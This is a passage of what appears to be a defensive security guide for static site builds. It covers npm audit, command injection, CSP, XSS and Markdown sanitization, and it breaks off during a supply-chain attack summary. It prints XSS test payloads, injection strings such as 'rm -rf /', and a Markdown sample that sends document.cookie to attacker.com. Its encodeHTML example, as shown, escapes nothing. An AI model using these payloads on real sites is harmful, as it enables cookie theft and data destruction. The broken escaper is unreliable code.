November 30, 2025 #
Executive Summary #
This report provides comprehensive security guidance for static site generators and build tooling based on current 2024-2025 best practices. It covers dependency security, build script safety, content security policies, XSS prevention, markdown rendering security, and supply chain protection. The recommendations are informed by recent security incidents including the Shai-Hulud worm attack (September 2025) which compromised 18 widely-used npm packages with over 2.6 billion weekly downloads.
1. Dependency Security and npm Audit Practices #
Overview #
npm audit is a critical tool for identifying known vulnerabilities in project dependencies. However, it has limitations and should be part of a comprehensive security strategy rather than the sole defense mechanism.
Core npm Audit Commands #
npm audit- Audit dependencies for known vulnerabilitiesnpm audit fix- Automatically install compatible security updatesnpm audit signatures- Verify package signatures (npm v9+)npm ci- Install exact versions from lockfile (preferred for production)
Best Practices #
1. Use npm ci in Production Environments #
Always use npm ci instead of npm install in CI/CD pipelines and production deployments. This ensures:
- Deterministic installations across different environments
- Enforced dependency expectations across team collaboration
- Prevention of unexpected version changes that could introduce vulnerabilities
Implementation:
1# In CI/CD pipelines
2npm ci --only=production
3
4# Avoid in production
5npm install # Can install different versions than lockfile
2. Integrate Regular Audits into CI/CD #
Embed security audits into your continuous integration workflow to catch vulnerabilities early:
1# Example GitHub Actions workflow
2- name: Security Audit
3 run: npm audit --audit-level=high
Audit Levels:
low- All vulnerabilitiesmoderate- Moderate and abovehigh- High and critical onlycritical- Critical only
3. Handle npm audit fix Carefully #
When running npm audit fix:
- Review changes before committing
- Test thoroughly after updates
- Understand that some vulnerabilities cannot be auto-fixed
- Be cautious with
npm audit fix --forceas it may introduce breaking changes
Important Note: npm audit fix analyzes both package.json and package-lock.json, scanning all dependencies including sub-dependencies. It uses semantic versioning constraints to automatically resolve issues where possible.
4. Dependency Update Strategy #
- Schedule periodic updates - Don't wait for vulnerabilities; stay current
- Review release notes - Understand what changed before upgrading
- Use semantic versioning carefully -
^allows minor/patch updates,~allows patch only - Avoid both extremes - Neither constant bleeding-edge upgrades nor long-term stagnation
5. Lock File Management #
Critical Security Practice: Properly manage lock files to prevent supply chain attacks.
1// package.json - Add this to .npmrc for team consistency
2{
3 "engines": {
4 "npm": ">=8.0.0"
5 }
6}
Lock File Security:
- Lock files prevent unexpected version changes via MITM attacks
- They include integrity checksums (SHA-512) for each package
- Inconsistencies between
package.jsonand lockfile can be hazardous - Never commit lockfile inconsistencies without investigation
Common Issue: NPM has known issues with lock file integrity changes across different:
- Operating systems
- npm versions
- Node.js versions
Solution: Standardize development environments using .nvmrc or mise.toml.
6. Handle Outdated and Unmaintained Packages #
When a package no longer receives security updates:
1// Use overrides in package.json (npm 8.3+)
2{
3 "overrides": {
4 "vulnerable-package": "^3.0.0"
5 }
6}
Alternative strategies:
- Switch to well-maintained alternatives
- Fork and maintain internally if necessary
- Use tools like
npm-check-updatesto identify outdated dependencies
7. Monitor Security Advisories #
- Subscribe to npm security advisories
- Enable GitHub Dependabot for automatic security updates
- Use tools like Snyk or Socket.dev for real-time monitoring
- Configure notifications for new CVEs affecting your dependencies
8. Additional Security Tools #
Beyond npm audit, consider:
- Snyk - Comprehensive vulnerability scanning with IDE integration
- Socket.dev - Supply chain attack detection
- OWASP Dependency-Track - CVE monitoring and SBOM management
- npm-audit-resolver - Manage false positives and audit results
9. Verify Package Provenance (2025 Update) #
npm now supports provenance attestations:
- Publicly links packages to source code and build instructions
- Signed by Sigstore public good servers
- Logged in public transparency ledger
- Allows verification of package origin before download
Publishing with provenance:
1npm publish --provenance
10. NPM Token Security (2025 Update) #
Important: Legacy npm tokens were sunset at the end of 2025. Use Granular Access Tokens:
- Create tokens with minimal required permissions
- Use read-only tokens where possible
- Implement IP restrictions
- Rotate tokens regularly
- Never commit tokens to repositories
Limitations to Understand #
npm audit has important limitations:
- Only catches known vulnerabilities - Misses zero-days
- No malware detection - Cannot detect malicious code in legitimate-looking packages
- Shallow dependency analysis - May miss deeply nested transitive dependencies
- False sense of security - "You think your app uses 40 packages. In reality, it depends on 600."
Defense in Depth: Use multiple complementary tools and strategies.
2. execSync/child_process Security Concerns #
Critical Vulnerabilities (2024-2025) #
CVE-2024-27980 (High Severity) #
Description: Command injection vulnerability via args parameter of child_process.spawn without shell option on Windows.
Affected Versions: All Windows users in active release lines (18.x, 20.x, 21.x)
Impact: An incomplete fix for the "BatBadBut" vulnerability that arises from improper handling of batch files with all possible extensions on Windows.
Breaking Change: Node.js now errors with EINVAL if a .bat or .cmd file is passed to spawn/spawnSync without the shell option set. If input is sanitized, you can use { shell: true } to prevent errors.
CRITICAL WARNING: Do not use --security-revert=CVE-2024-27980 to bypass this fix. It is strongly advised against.
Command Injection Attack Vectors #
Command injection vulnerabilities manifest when untrusted user input is sent to an interpreter as part of a command or query. Attackers can:
- Execute arbitrary commands on the host OS
- Read restricted file contents
- Install malware
- Take full control of the server
Common Attack Patterns:
1// DANGEROUS - User input in exec
2const { exec } = require('child_process');
3const userInput = req.query.filename; // e.g., "file.txt; rm -rf /"
4exec(`cat ${userInput}`, callback); // VULNERABLE!
5
6// Attack chains using: ; & | || $() < > >>
Secure Alternatives and Best Practices #
1. Use execFile Instead of exec/execSync #
Recommended Approach:
1const { execFile } = require('child_process');
2
3// SAFE - execFile does not spawn a shell
4execFile('ls', ['-lh', userProvidedPath], (error, stdout) => {
5 if (error) {
6 console.error('Error:', error);
7 return;
8 }
9 console.log(stdout);
10});
execFile helps prevent arbitrary shell commands from being executed and is the recommended defense.
2. Use spawn with Arguments Array #
1const { spawn } = require('child_process');
2
3// SAFE - Arguments passed as array, not string
4const child = spawn('grep', [userInput], {
5 cwd: '/safe/directory',
6 env: { PATH: '/usr/bin' } // Restricted PATH
7});
3. Never Pass Unsanitized Input to exec/execSync #
1// DANGEROUS
2const { execSync } = require('child_process');
3execSync(`git commit -m "${userMessage}"`); // VULNERABLE!
4
5// BETTER - But still risky
6const { execFileSync } = require('child_process');
7execFileSync('git', ['commit', '-m', userMessage]);
4. Input Validation and Allowlisting #
Use strict allowlisting:
1function validateFilename(filename) {
2 // Only allow alphanumeric, dash, underscore, dot
3 if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
4 throw new Error('Invalid filename');
5 }
6 return filename;
7}
8
9const safeFilename = validateFilename(userInput);
10execFile('cat', [safeFilename], callback);
5. Avoid Shell Invocation #
1// BAD - Shell is spawned
2exec('ls -la', callback);
3
4// GOOD - No shell spawned
5execFile('ls', ['-la'], callback);
6
7// BAD - Shell option enabled
8spawn('ls', ['-la'], { shell: true });
9
10// GOOD - No shell
11spawn('ls', ['-la']);
6. Proper Quote Escaping (If Shell Is Unavoidable) #
Note: Wrapping in single quotes is NOT sufficient protection. Node.js lacks proper shell-escaping mechanisms.
1// STILL VULNERABLE
2exec(`cat '${userInput}'`); // Can be bypassed with: file.txt' ; rm -rf / ; echo '
3
4// If you must use shell, consider shell-escape library
5const shellescape = require('shell-escape');
6const escaped = shellescape([userInput]);
7exec(`cat ${escaped}`, callback);
ESLint Security Rules #
Enable security linting to catch dangerous patterns:
1// .eslintrc.js
2module.exports = {
3 plugins: ['security'],
4 rules: {
5 'security/detect-child-process': 'error',
6 'security/detect-non-literal-fs-filename': 'error'
7 }
8};
Build Script Security Checklist #
For static site generators and build tools:
- Never use
exec/execSyncwith user input or environment variables - Prefer
execFile/spawnwith argument arrays - Validate all inputs with strict allowlisting
- Use minimal permissions and restricted environments
- Audit third-party build plugins that execute commands
- Review all
package.jsonscripts for command injection risks - Never trust data from external sources (API responses, file contents)
- Use
--ignore-scriptsflag when installing untrusted dependencies
3. Input Validation in Build Scripts #
Core Principles #
Input validation should be part of a defense-in-depth strategy, serving as one layer among others such as parameterized statements and output encoding.
Best Practices for Build Scripts #
1. Client and Server-Side Validation #
While build scripts don't have traditional "client/server," apply this principle:
- Configuration validation - At script startup, validate all config inputs
- Runtime validation - Validate data as soon as it enters the system
1// Build script example
2import Joi from 'joi';
3
4const configSchema = Joi.object({
5 outputDir: Joi.string().pattern(/^[a-zA-Z0-9/_-]+$/).required(),
6 baseUrl: Joi.string().uri().required(),
7 enableAnalytics: Joi.boolean().default(false)
8});
9
10const { error, value: config } = configSchema.validate(process.env);
11if (error) {
12 throw new Error(`Invalid configuration: ${error.message}`);
13}
2. Allowlisting Over Denylisting #
Allowlisting (defining exactly what IS authorized) is far superior to denylisting (blocking known-bad patterns).
Why denylisting fails:
1// DANGEROUS - Easily bypassed
2function denylistValidation(input) {
3 if (input.includes("'") || input.includes('<script>')) {
4 throw new Error('Invalid input');
5 }
6 return input; // Still vulnerable to: <img src=x onerror=alert(1)>
7}
8
9// BETTER - Allowlist approach
10function allowlistValidation(input) {
11 if (!/^[a-zA-Z0-9-_]+$/.test(input)) {
12 throw new Error('Input contains invalid characters');
13 }
14 return input;
15}
Use allowlisting for:
- File paths and names
- Configuration values
- User-provided identifiers
- Command-line arguments
3. Centralize Validation Logic #
Create reusable validation functions:
1// validators.js
2export const validators = {
3 isValidPath(path) {
4 // No directory traversal
5 if (path.includes('..') || path.startsWith('/')) {
6 return false;
7 }
8 // Only safe characters
9 return /^[a-zA-Z0-9/_.-]+$/.test(path);
10 },
11
12 isValidSlug(slug) {
13 return /^[a-z0-9-]+$/.test(slug);
14 },
15
16 isValidUrl(url) {
17 try {
18 const parsed = new URL(url);
19 return ['http:', 'https:'].includes(parsed.protocol);
20 } catch {
21 return false;
22 }
23 }
24};
25
26// Use in build scripts
27import { validators } from './validators.js';
28
29if (!validators.isValidPath(outputPath)) {
30 throw new Error('Invalid output path');
31}
4. Schema Validation #
Use JSON schema validation for structured data:
1import Ajv from 'ajv';
2
3const ajv = new Ajv();
4
5const schema = {
6 type: 'object',
7 properties: {
8 title: { type: 'string', maxLength: 100 },
9 slug: { type: 'string', pattern: '^[a-z0-9-]+$' },
10 publishDate: { type: 'string', format: 'date' }
11 },
12 required: ['title', 'slug'],
13 additionalProperties: false // Reject unknown properties
14};
15
16const validate = ajv.compile(schema);
17
18function validateFrontmatter(data) {
19 if (!validate(data)) {
20 throw new Error(`Invalid frontmatter: ${ajv.errorsText(validate.errors)}`);
21 }
22 return data;
23}
5. File System Safety #
Critical for build scripts:
1import path from 'path';
2import fs from 'fs/promises';
3
4async function safeReadFile(userPath, baseDir) {
5 // Resolve to absolute path
6 const resolvedPath = path.resolve(baseDir, userPath);
7
8 // Ensure path is within baseDir (prevent directory traversal)
9 if (!resolvedPath.startsWith(baseDir)) {
10 throw new Error('Path traversal attempt detected');
11 }
12
13 // Verify file exists and is a file (not directory/symlink)
14 const stats = await fs.stat(resolvedPath);
15 if (!stats.isFile()) {
16 throw new Error('Not a regular file');
17 }
18
19 return fs.readFile(resolvedPath, 'utf-8');
20}
6. Environment Variable Validation #
1// Validate required environment variables
2const requiredEnvVars = ['NODE_ENV', 'BASE_URL'];
3
4for (const varName of requiredEnvVars) {
5 if (!process.env[varName]) {
6 throw new Error(`Missing required environment variable: ${varName}`);
7 }
8}
9
10// Validate values
11const validNodeEnvs = ['development', 'production', 'test'];
12if (!validNodeEnvs.includes(process.env.NODE_ENV)) {
13 throw new Error(`Invalid NODE_ENV: ${process.env.NODE_ENV}`);
14}
7. Static Code Analysis #
Use static analysis tools to detect security issues:
1// package.json
2{
3 "scripts": {
4 "lint:security": "eslint --plugin security .",
5 "prebuild": "npm run lint:security"
6 },
7 "devDependencies": {
8 "eslint-plugin-security": "^2.1.0"
9 }
10}
Recommended tools:
- ESLint with security plugins - Detect common patterns
- Semgrep - Custom security rules
- CodeQL - Advanced static analysis
- Checkmarx/Fortify - Enterprise SAST tools
Attacks Prevented by Proper Input Validation #
When implemented correctly, input validation provides immunity from:
- Cross-site scripting (XSS)
- Response splitting
- Buffer overflows
- Data injection attacks
- Directory traversal attacks
- Denial-of-service (DoS)
4. Content Security Policy for Static Sites #
Overview #
Content Security Policy (CSP) provides defense-in-depth by serving as an effective second layer of protection against XSS and other vulnerabilities. For static sites, CSP implementation differs from dynamic applications.
Hash-Based CSP for Static Sites #
Recommended approach for static content:
Hash-based CSP works best when content never changes. Unlike nonces, both the CSP and content can be static because hashes stay the same.
How it works:
- Compute SHA-256 hash of each inline script
- Add hashes to CSP header
- Browser verifies script content matches hash before execution
Example:
1<!-- index.html -->
2<script>
3 console.log('Hello, world!');
4</script>
Generate hash:
1echo -n "console.log('Hello, world!');" | openssl dgst -sha256 -binary | openssl base64
2# Output: qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=
CSP header:
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
Important: Hashes are fragile. Changing anything inside the script tag (even whitespace) breaks the hash.
Nonce-Based CSP (Not Ideal for Static Sites) #
Nonce-based CSP requires server-side generation of unique random values per request. This means:
- Server cannot serve static HTML
- Requires templating engine to insert nonces
- Not suitable for pure static site deployments (CDN, S3, etc.)
When to use nonces: Server-side rendered or edge-rendered static sites (Cloudflare Workers, Netlify Edge Functions).
Strict CSP Best Practices (2025) #
Modern CSP emphasizes "strict" policies using nonces or hashes rather than legacy domain allowlisting.
Recommended strict policy:
Content-Security-Policy:
script-src 'sha256-{HASH}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
Key directives:
'strict-dynamic'- Allows scripts loaded by trusted scripts (solves third-party script loading)object-src 'none'- Blocks Flash and other pluginsbase-uri 'none'- Prevents base tag injectionrequire-trusted-types-for 'script'- Enforces Trusted Types API
Implementation Methods for Static Sites #
Method 1: HTTP Headers (Preferred) #
Configure at CDN/hosting level:
Netlify (_headers file):
/*
Content-Security-Policy: script-src 'sha256-ABC123...' 'sha256-DEF456...'; object-src 'none'; base-uri 'none'
Cloudflare Pages (_headers):
/*
Content-Security-Policy: script-src 'sha256-ABC123...' 'strict-dynamic'; object-src 'none'
GitHub Pages (not supported) - Use meta tag instead.
Method 2: Meta Tags (Limited Features) #
1<meta http-equiv="Content-Security-Policy"
2 content="script-src 'sha256-ABC123...'; object-src 'none'">
Limitations of meta tags:
- No
frame-ancestorssupport - No
sandboxsupport - No reporting endpoints
- Processed after HTML parsing begins
When to use: Client-side rendered SPAs with only static resources, or platforms without header control.
Method 3: Automated Hash Generation #
Build-time hash injection for static sites:
1// build-csp.js
2import crypto from 'crypto';
3import fs from 'fs/promises';
4import { parse } from 'node-html-parser';
5
6async function generateCSP(htmlPath) {
7 const html = await fs.readFile(htmlPath, 'utf-8');
8 const root = parse(html);
9
10 const scriptHashes = root.querySelectorAll('script')
11 .filter(script => !script.getAttribute('src')) // Only inline scripts
12 .map(script => {
13 const content = script.textContent;
14 const hash = crypto.createHash('sha256')
15 .update(content, 'utf-8')
16 .digest('base64');
17 return `'sha256-${hash}'`;
18 });
19
20 const csp = `script-src ${scriptHashes.join(' ')} 'strict-dynamic'; object-src 'none'; base-uri 'none'`;
21
22 return csp;
23}
Subresource Integrity (SRI) for Static Sites #
Even fully static sites benefit from CSP for enforcing Subresource Integrity on third-party resources:
1<script
2 src="https://cdn.example.com/library.js"
3 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
4 crossorigin="anonymous">
5</script>
CSP enforcement:
Content-Security-Policy: require-sri-for script style;
Note: require-sri-for is deprecated in favor of require-trusted-types-for, but still supported.
Report-Only Mode #
Test CSP without breaking functionality:
Content-Security-Policy-Report-Only: script-src 'sha256-ABC...'; report-uri /csp-report
Benefits:
- Identify violations before enforcement
- Monitor third-party script behavior
- Gradual CSP deployment
Legacy Header Deprecation #
DO NOT USE:
X-Content-Security-Policy(obsolete)X-WebKit-CSP(obsolete)
These have limited implementations and are no longer maintained.
CSP for Static Site Generators #
Astro example:
1// astro.config.mjs
2export default {
3 vite: {
4 plugins: [
5 {
6 name: 'csp-hash-generator',
7 transformIndexHtml(html) {
8 // Generate hashes and inject CSP meta tag
9 }
10 }
11 ]
12 }
13};
Eleventy example:
1// .eleventy.js
2module.exports = function(eleventyConfig) {
3 eleventyConfig.addTransform('csp', async (content, outputPath) => {
4 if (outputPath.endsWith('.html')) {
5 // Calculate hashes and inject CSP
6 }
7 return content;
8 });
9};
Important Limitations #
CSP is defense-in-depth, not a replacement for secure development:
- Won't fix XSS vulnerabilities
- Mitigates exploitation, doesn't prevent bugs
- Requires proper output encoding and input validation
- Only works on browsers that support CSP
5. XSS Prevention in Static Sites #
Overview #
Cross-Site Scripting (XSS) remains a critical threat in 2025, evolving with advanced techniques and AI integration. Static sites are NOT immune to XSS - DOM-based XSS attacks are still possible through JavaScript execution.
XSS in Static Sites: The Reality #
Common misconception: "Static sites can't have XSS because there's no server-side rendering."
Reality: XSS is absolutely possible on static sites using DOM-based attacks:
1// VULNERABLE static site code
2const params = new URLSearchParams(window.location.search);
3const username = params.get('name');
4document.getElementById('greeting').innerHTML = `Hello, ${username}!`;
5
6// Attack: https://example.com/?name=<img src=x onerror=alert(1)>
Types of XSS in Static Sites #
1. DOM-Based XSS #
JavaScript directly manipulates the DOM with untrusted data:
1// VULNERABLE
2element.innerHTML = userInput;
3document.write(userInput);
4eval(userInput);
5location.href = userInput;
6
7// SAFE
8element.textContent = userInput; // Treats as text, not HTML
9element.setAttribute('data-value', userInput);
2. Third-Party Script XSS #
Compromised CDN or third-party scripts:
1<!-- If cdn.example.com is compromised, your site is vulnerable -->
2<script src="https://cdn.example.com/analytics.js"></script>
Mitigation: Use Subresource Integrity (SRI) - see Section 6.
3. Client-Side Template Injection #
Static site generators using client-side templating:
1// VULNERABLE - Client-side Markdown/template rendering
2const markdown = params.get('content');
3const html = markdownToHtml(markdown); // If not sanitized
4container.innerHTML = html;
XSS Prevention Best Practices #
1. Use Safe DOM APIs #
Prefer safe sinks:
1// SAFE APIs
2element.textContent = userInput; // Always safe
3element.setAttribute('name', value); // Safe for most attributes
4element.className = userInput; // Safe
5element.value = userInput; // Safe for form inputs
6
7// UNSAFE APIs - Avoid or sanitize first
8element.innerHTML = userInput; // DANGEROUS
9element.outerHTML = userInput; // DANGEROUS
10document.write(userInput); // DANGEROUS
11element.insertAdjacentHTML('beforeend', userInput); // DANGEROUS
2. Context-Aware Output Encoding #
Different contexts require different encoding:
HTML Context:
1function encodeHTML(str) {
2 return str
3 .replace(/&/g, '&')
4 .replace(/</g, '<')
5 .replace(/>/g, '>')
6 .replace(/"/g, '"')
7 .replace(/'/g, ''');
8}
9
10// Usage
11element.innerHTML = `<div>${encodeHTML(userInput)}</div>`;
JavaScript Context:
1// Only in quoted strings!
2function encodeJS(str) {
3 return str.replace(/[\u0000-\u001F\u007F-\u009F]/g, (char) => {
4 return '\\u' + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
5 });
6}
7
8// Usage
9const script = `const name = "${encodeJS(userInput)}";`;
URL Context:
1// For URL parameters only
2const encoded = encodeURIComponent(userInput);
3const url = `https://example.com/search?q=${encoded}`;
CSS Context:
1// Only in property values, use hex encoding
2function encodeCSS(str) {
3 return str.replace(/[^a-zA-Z0-9]/g, (char) => {
4 return '\\' + char.charCodeAt(0).toString(16) + ' ';
5 });
6}
3. Leverage Framework Protections #
Modern frameworks provide built-in XSS protection:
React:
1// SAFE - React auto-escapes
2<div>{userInput}</div>
3
4// DANGEROUS - Bypasses protection
5<div dangerouslySetInnerHTML={{__html: userInput}} />
Vue:
1<!-- SAFE - Vue auto-escapes -->
2<div>{{ userInput }}</div>
3
4<!-- DANGEROUS - Renders raw HTML -->
5<div v-html="userInput"></div>
Svelte:
1<!-- SAFE -->
2<div>{userInput}</div>
3
4<!-- DANGEROUS -->
5<div>{@html userInput}</div>
Framework limitations: No framework is perfect. Security gaps exist even in React and Angular. Never rely solely on framework protection.
4. HTML Sanitization #
When you must allow HTML input (e.g., rich text editors):
1import DOMPurify from 'dompurify';
2
3// SAFE - DOMPurify removes malicious code
4const dirty = '<img src=x onerror=alert(1)>';
5const clean = DOMPurify.sanitize(dirty);
6element.innerHTML = clean; // Safe
7
8// Configure for specific needs
9const clean = DOMPurify.sanitize(dirty, {
10 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
11 ALLOWED_ATTR: ['href']
12});
Critical: Sanitize at the point of rendering, not just on form submission. If HTML is modified after sanitization, it may no longer be safe.
5. Content Security Policy #
Implement strict CSP as additional layer (see Section 4):
Content-Security-Policy:
script-src 'self' 'sha256-...';
object-src 'none';
base-uri 'none';
CSP aims to mitigate XSS impact. If an XSS vulnerability exists, CSP can hinder or prevent exploitation.
6. Avoid Dangerous Patterns #
Never do this:
1// NEVER use eval with user input
2eval(userInput);
3
4// NEVER use Function constructor with user input
5new Function(userInput)();
6
7// NEVER use setTimeout/setInterval with strings
8setTimeout(userInput, 1000);
9
10// NEVER use document.write
11document.write(userInput);
12
13// NEVER use location.href with unvalidated input
14location.href = userInput; // Can be javascript: URL
Safe alternatives:
1// Instead of location.href = userInput
2const url = new URL(userInput, window.location.origin);
3if (url.protocol === 'http:' || url.protocol === 'https:') {
4 location.href = url.href;
5}
Static Site Generator Specific Guidance #
Build-Time XSS Prevention #
Even build scripts can introduce XSS:
1// VULNERABLE build script
2const title = frontmatter.title;
3const html = `<title>${title}</title>`; // If title is malicious
4
5// SAFE build script
6import { escape } from 'html-escaper';
7const html = `<title>${escape(frontmatter.title)}</title>`;
Markdown Rendering Security #
See Section 6 for detailed guidance on secure Markdown rendering.
Testing for XSS #
Static analysis:
1npm install --save-dev eslint eslint-plugin-no-unsanitized
2
3# .eslintrc.js
4{
5 "plugins": ["no-unsanitized"],
6 "rules": {
7 "no-unsanitized/method": "error",
8 "no-unsanitized/property": "error"
9 }
10}
Manual testing payloads:
1// Common XSS test vectors
2const testVectors = [
3 '<script>alert(1)</script>',
4 '<img src=x onerror=alert(1)>',
5 'javascript:alert(1)',
6 '<svg onload=alert(1)>',
7 '"><script>alert(1)</script>',
8 "'-alert(1)-'",
9 '<iframe src="javascript:alert(1)">',
10];
AI-Enhanced XSS (2025 Trends) #
Modern XSS attacks increasingly use:
- AI-powered payload generation
- Mutation-based evasion techniques
- Context-aware exploitation
- Automated vulnerability discovery
Defense: Combine multiple layers - input validation, output encoding, CSP, and continuous security testing.
6. Secure Handling of External Content (Markdown Rendering) #
Overview #
Markdown may seem safe due to its plain text formatting, but naive implementations can lead to severe XSS vulnerabilities. When Markdown is converted to HTML, there's risk of malicious code execution if it includes embedded HTML or JavaScript.
The Markdown Security Challenge #
Key insight: Showing user-generated content to other users always carries risk. Markdown is no exception.
Vulnerability example:
1# Innocent Looking Title
2
3Click [here](javascript:alert(document.cookie))
4
5<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
6
7<script>
8 // Malicious code
9 steal_credentials();
10</script>
DOMPurify: The Gold Standard #
DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML, and SVG, developed by Cure53 (reputable security consultancy).
Current Version: v3.3.0 (as of 2024)
Key features:
- Very simple to use
- Strips everything dangerous from HTML
- Prevents XSS attacks and other nastiness
- Works with a secure default
- Highly configurable with hooks
Using DOMPurify with Markdown Libraries #
Marked.js + DOMPurify #
The Marked team has stated that sanitization doesn't belong in core Marked (it's not part of Markdown specs).
Recommended pattern:
1import { marked } from 'marked';
2import DOMPurify from 'dompurify';
3
4function renderMarkdown(markdown) {
5 // Step 1: Convert Markdown to HTML
6 const rawHtml = marked.parse(markdown);
7
8 // Step 2: Sanitize HTML
9 const cleanHtml = DOMPurify.sanitize(rawHtml);
10
11 // Step 3: Insert into DOM
12 element.innerHTML = cleanHtml;
13}
Using safe-marked library:
1import { SafeMarked } from 'safe-marked';
2
3// Automatically combines marked + DOMPurify
4const safeHtml = SafeMarked.parse(markdown);
markdown-it + DOMPurify #
1import MarkdownIt from 'markdown-it';
2import DOMPurify from 'dompurify';
3
4const md = new MarkdownIt({
5 html: true, // Allow HTML in Markdown
6 linkify: true,
7 typographer: true
8});
9
10function renderMarkdown(markdown) {
11 const rawHtml = md.render(markdown);
12 const cleanHtml = DOMPurify.sanitize(rawHtml);
13 return cleanHtml;
14}
React + Markdown #
1import React, { useMemo } from 'react';
2import { marked } from 'marked';
3import DOMPurify from 'dompurify';
4
5function MarkdownContent({ markdown }) {
6 const sanitizedHtml = useMemo(() => {
7 const rawHtml = marked.parse(markdown);
8 return DOMPurify.sanitize(rawHtml);
9 }, [markdown]);
10
11 return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;
12}
Better: Use react-markdown (no HTML by default):
1import ReactMarkdown from 'react-markdown';
2
3function MarkdownContent({ markdown }) {
4 return (
5 <ReactMarkdown>
6 {markdown}
7 </ReactMarkdown>
8 );
9}
If HTML is needed:
1import ReactMarkdown from 'react-markdown';
2import rehypeRaw from 'rehype-raw';
3import rehypeSanitize from 'rehype-sanitize';
4
5function MarkdownContent({ markdown }) {
6 return (
7 <ReactMarkdown
8 rehypePlugins={[rehypeRaw, rehypeSanitize]}
9 >
10 {markdown}
11 </ReactMarkdown>
12 );
13}
DOMPurify Configuration #
Basic Sanitization #
1// Default (secure)
2const clean = DOMPurify.sanitize(dirty);
3
4// Remove all HTML tags, keep text only
5const clean = DOMPurify.sanitize(dirty, {
6 ALLOWED_TAGS: []
7});
Allow Specific Tags and Attributes #
1const clean = DOMPurify.sanitize(dirty, {
2 ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
3 ALLOWED_ATTR: ['href', 'title']
4});
Forbid Specific Tags #
1const clean = DOMPurify.sanitize(dirty, {
2 FORBID_TAGS: ['style', 'form', 'input'],
3 FORBID_ATTR: ['onerror', 'onload']
4});
Return DOM Instead of String #
1const cleanDOM = DOMPurify.sanitize(dirty, {
2 RETURN_DOM: true
3});
4container.appendChild(cleanDOM);
Hooks for Custom Processing #
1DOMPurify.addHook('afterSanitizeAttributes', (node) => {
2 // Force all links to open in new tab
3 if (node.tagName === 'A') {
4 node.setAttribute('target', '_blank');
5 node.setAttribute('rel', 'noopener noreferrer');
6 }
7});
8
9const clean = DOMPurify.sanitize(dirty);
Best Practices for Markdown Rendering #
1. Always Sanitize Before DOM Insertion #
1// WRONG - Sanitize too early
2const clean = DOMPurify.sanitize(userInput);
3// ... later, HTML is modified ...
4element.innerHTML = clean; // No longer safe!
5
6// RIGHT - Sanitize just before insertion
7const html = processMarkdown(userInput);
8const clean = DOMPurify.sanitize(html);
9element.innerHTML = clean; // Safe
2. Disable HTML in Markdown (If Possible) #
Most Markdown libraries allow disabling HTML:
1// Marked
2marked.setOptions({
3 mangle: false,
4 headerIds: false,
5 sanitize: false, // We'll use DOMPurify
6 html: false // Disable HTML in Markdown
7});
8
9// markdown-it
10const md = new MarkdownIt({
11 html: false // Disable HTML tags
12});
3. Combine with Content Security Policy #
Layer CSP on top of sanitization:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
4. Validate Markdown Source #
If accepting Markdown from users, validate before storage:
1function validateMarkdown(markdown) {
2 // Check length
3 if (markdown.length > 100000) {
4 throw new Error('Markdown too long');
5 }
6
7 // Check for suspicious patterns
8 const suspiciousPatterns = [
9 /<script/i,
10 /javascript:/i,
11 /on\w+=/i, // Event handlers
12 /<iframe/i,
13 /<object/i,
14 /<embed/i
15 ];
16
17 for (const pattern of suspiciousPatterns) {
18 if (pattern.test(markdown)) {
19 // Log for monitoring
20 console.warn('Suspicious pattern in Markdown:', pattern);
21 }
22 }
23
24 return markdown;
25}
5. Server-Side Sanitization (If Applicable) #
For SSG that processes Markdown at build time:
1// build-time sanitization
2import { marked } from 'marked';
3import { JSDOM } from 'jsdom';
4import createDOMPurify from 'dompurify';
5
6const window = new JSDOM('').window;
7const DOMPurify = createDOMPurify(window);
8
9export function renderMarkdownSafely(markdown) {
10 const rawHtml = marked.parse(markdown);
11 return DOMPurify.sanitize(rawHtml);
12}
Security Considerations #
DOM Clobbering #
Real vulnerability from 2024 CTF:
Even with DOMPurify, DOM clobbering is possible:
1<!-- DOMPurify allows id attributes -->
2<a id="isSafe"></a>
3
4<script>
5// window.isSafe now refers to the <a> element
6if (window.isSafe) { // Always true!
7 // Execute code
8}
9</script>
Mitigation:
1const clean = DOMPurify.sanitize(dirty, {
2 FORBID_ATTR: ['id'] // Remove id attributes if not needed
3});
Link Safety #
Sanitize link protocols:
1DOMPurify.addHook('afterSanitizeAttributes', (node) => {
2 if (node.tagName === 'A') {
3 const href = node.getAttribute('href');
4 if (href) {
5 try {
6 const url = new URL(href, window.location.origin);
7 if (!['http:', 'https:', 'mailto:'].includes(url.protocol)) {
8 node.removeAttribute('href');
9 }
10 } catch {
11 node.removeAttribute('href');
12 }
13 }
14 // Add security attributes
15 node.setAttribute('rel', 'noopener noreferrer');
16 }
17});
Markdown Rendering Security Checklist #
- Use DOMPurify or equivalent sanitization library
- Sanitize immediately before DOM insertion
- Disable HTML in Markdown if possible
- Configure allowlist of safe tags/attributes
- Implement CSP as additional layer
- Add security attributes to links (rel="noopener noreferrer")
- Validate Markdown length and content
- Use hooks to enforce security policies
- Test with known XSS payloads
- Monitor and log suspicious patterns
- Keep sanitization library updated
7. Supply Chain Security for Frontend Projects #
Overview #
2025 has seen unprecedented supply chain attacks against the npm ecosystem. The Shai-Hulud worm and S1ngularity attacks compromised packages with billions of weekly downloads, exposing the critical importance of supply chain security.
Major 2025 Supply Chain Attacks #
Shai-Hulud Worm (September 2025) #
Timeline: September 8-14, 2025
Impact:
- 18 widely-used npm packages compromised
- Over 2.6 billion weekly downloads affected
- Self-replicating worm that spread via npm tokens
Attack Method:
- Phishing email compromised maintainer accounts
- Malicious releases published to popular packages (chalk, debug, ansi-styles)
- Post-install scripts stole npm tokens
- Worm used stolen tokens to compromise more packages
Capabilities:
- Stole npm publishing tokens
- Exfiltrated SSH keys, environment variables, crypto wallets
- Self-replicated to other packages
- Created endless stream of potential attacks
